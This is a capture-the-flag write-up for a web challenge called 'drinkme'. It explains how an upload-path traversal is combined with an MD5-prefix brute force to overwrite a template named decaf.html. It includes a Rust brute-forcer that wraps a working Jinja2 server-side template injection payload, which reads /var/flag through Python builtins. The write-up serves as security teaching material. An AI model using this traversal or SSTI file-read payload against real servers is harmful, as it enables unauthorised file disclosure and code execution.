drinkme

Are you thirsty? Why don't you try some of our drinks at our new store, drinkme! Leave a message on the wall too when you're done.
NOTE: Flag is at /var/flag
NOTE: This challenge uses per-team instances. Please test locally and don't launch one until you have a working exploit.
NOTE: The drinkme instancer takes a bit of time (< 1 min) to start the container, please be patient.
https://drinkme.be.ax

We get all source again and I'm just including the server file for brevity.

So the first thing I noticed was that it was concatenating unchecked input for the upload path and that's gross. By forging a type to include .., we can make it upload our file anywhere we want. I immediately went to "overwrite server files" and was disappointed because we don't control the filename; It's derived from the first five characters of the file md5 hash + "." + file extension. I was looking at the templates: americano.html, cappuccino.html, and decaf.html when it clicked. "decaf" is valid hexadecimal characters which means if we upload an html file that hashes to "decaf*" it will upload decaf.html. I did the only reasonable thing -- make an SSTI payload to read /var/flag and then brute forced for padding which hashed to that.

use rand::{thread_rng, Rng};
use rand::distributions::Alphanumeric;
fn main() {
    let base = "{{  self._TemplateReference__context.cycler.__init__.__globals__.__builtins__.open('/var/flag','r').read() }}";
    let (found, _) = std::iter::repeat(()).map(|_| {
        let mut attempt = base.to_string();
        for i in thread_rng().sample_iter(&Alphanumeric)
            .take(100) {
            attempt.push(i as char);
        }
        let digest = md5::compute(&attempt);
        (attempt, format!("{:x}", digest)[..5].to_string())
    }).find(|(_,x)| x == "decaf").unwrap();
    println!("{}", found);
}

I didn't save the flag so I'll grab it from some other writeup and update this later.
